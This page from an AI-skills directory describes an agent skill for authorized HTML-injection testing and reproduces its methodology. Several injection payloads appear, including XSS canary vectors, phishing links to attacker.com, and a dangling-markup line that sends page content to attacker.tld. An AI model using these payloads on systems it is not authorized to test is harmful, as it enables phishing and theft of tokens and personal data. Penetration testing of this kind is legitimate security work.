Skip to content
Skillpedia
Security5.4k Β· #14913

hunt-html-injection

What it does

This skill tests whether input is displayed as unescaped HTML, which is less severe than script injection but can still mislead users. It is for authorized testing of search, profile and comment fields.

When to use it

  • βœ“When a search box, profile field or comment might display raw HTML.
  • βœ“When an error message shows user input without escaping.
  • βœ“When you want to confirm whether injected HTML can display a fake login form.

Skill link

https://github.com/elementalsouls/Claude-BugHunter/blob/main/skills/hunt-html-injection/SKILL.md

Copy it and paste it into your AI (Claude, ChatGPT or Cursor), asking it to follow the instructions.

How to use

The easiest way: copy the message and paste it into your AI. It reads the skill and follows the instructions.

Ready-to-paste message

Use this skill to help me: https://github.com/elementalsouls/Claude-BugHunter/blob/main/skills/hunt-html-injection/SKILL.md Read the SKILL.md file at that link and follow its instructions for my task.
Want your AI to find skills like this on its own?Install the free Skillpedia MCP: one line, and it searches 15,000+ skills before each task.Install in 1 minute β†’

Example of what to ask your AI

β€œCan you check whether our comment field renders raw HTML in our authorized test, and show the effect?”

5 new skills a week. 1 minute to read.

How it works

The agent puts a unique harmless marker in an input and checks whether the HTML is shown as markup. It then confirms the impact with a clear test that shows the risk.

Technical content (original SKILL.md)

Original text by the author, straight from GitHub.

What is HTML Injection

HTML Injection occurs when user input is inserted into a page's HTML without escaping, so injected tags are rendered by the browser as markup rather than displayed as literal text. Unlike XSS, the injected content does not require JavaScript execution β€” injecting <b>, <h1>, <a>, <img>, or <form> tags is sufficient.

To PROVE impact unambiguously, escalate to an active vector carrying a unique numeric canary β€” e.g. "><img src=x onerror=alert(91234)> or <svg onload=alert(91234)>. A distinctive 4+ digit number (not alert(1)) distinguishes YOUR reflected injection from the example payloads practice pages embed in their own hint text. Proof = the raw, unescaped vector with your canary appears in the response.

Impact:

  • Phishing via injected <form> or <a href="attacker.com"> tags
  • UI defacement β€” <h1>HACKED</h1> renders visually on the page
  • Credential harvesting via injected login forms
  • Redirect via <meta http-equiv="refresh">
  • Stepping stone to XSS (may be blocked by WAF on <script> but not <img onerror>)
  • Dangling-markup exfiltration β€” even with <script> and event handlers filtered, an unterminated tag can capture page content that follows it. Inject <img src='//attacker.tld/log?html= (no closing quote/>); the browser treats everything up to the next ' as the URL, leaking any CSRF token, secret, or PII rendered after your injection point to your server. Works where full XSS is blocked but raw < is reflected.
  • Email/notification-context injection β€” a field reflected unescaped into a transactional email (signup confirmation, admin alert, support-chat transcript) renders injected <a>/<img>/dangling markup in the recipient's inbox β€” an audience the web UI can't reach, and often the only place HTML is rendered unfiltered. Inject into name/subject/comment, then read the raw email source. Disclosed class: https://hackerone.com/reports/1935628, https://hackerone.com/reports/3556892.

Attack Surface

Any input that is reflected or stored and then displayed in an HTML context:

  • Search boxes (?q=)
  • Comments, feedback, reviews
  • Profile fields (name, bio, username)
  • Error messages (?error=, ?message=)
  • Subject / body of contact forms
  • Admin-visible fields (ticket titles, usernames in logs)

Autonomous Testing Priority

Inject a recognisable HTML tag with a unique canary string. Unescaped angle brackets in the response = confirmed injection.

Pattern 1 β€” Basic HTML tag injection:

<b>CANARY</b>
"><b>CANARY</b>

Use a unique string as CANARY (something distinct to this test run). Proof: the response contains <b>CANARY with literal < angle brackets β€” not &lt;b&gt;CANARY. A properly encoded app would escape < to &lt;.

Try multiple tag types when <b> is filtered:

  • <h1>CANARY</h1> β€” heading tag (often less filtered)
  • <img src=x onerror=CANARY> β€” attribute context
  • <a href="https://attacker.com">click</a> β€” link injection (phishing proof)

For stored injection: inject into the storage endpoint, then GET the page where the value is displayed and check for unescaped tags.

Escalate immediately: if <b> injection works, try <script>alert(1)</script> β€” the same unsanitised input may allow full XSS.

Proof

Confirmed when your injected tag appears in the response body with literal < angle brackets (not HTML-encoded). A safe app renders &lt;b&gt;CANARY&lt;/b&gt;; a vulnerable app renders <b>CANARY</b>.

Distinguishing HTML Injection from XSS

  • HTML injection: <b>text</b> renders as text in the browser β€” no JS execution needed.
  • XSS: <script>alert(1)</script> executes JavaScript.

Some WAFs block <script> but pass <b> or <img> β€” start with non-script tags, then escalate.

FAQ

How is HTML injection different from XSS?

HTML injection does not need JavaScript to run, so the skill rates it as lower severity than XSS in general.

What is dangling markup?

It is an unclosed tag that can capture page content after it, the skill notes.

Why use a unique number?

A distinct number helps show the injected code is yours and not example text already on the page.

Details

Original description by the author

Hunt HTML Injection β€” user-supplied input is rendered as raw HTML in the response without sanitisation, allowing an attacker to inject arbitrary HTML tags (but not necessarily JavaScript). Lower severity than XSS but enables phishing, UI manipulation, and credential harvesting via injected forms. Use when testing text-display surfaces (search results, profile fields, comments, error messages, feedback forms). For markup that executes JavaScript, escalate to hunt-xss.

repo: elementalsouls/Claude-BugHunter

Popularity

GitHub stars
5.4k
Ranking position
#14913
License
MIT
Updated
11/2/2026

Is this skill useful?

0

Sign in to vote.

Comments

  • …

More skills from this repository

Similar skills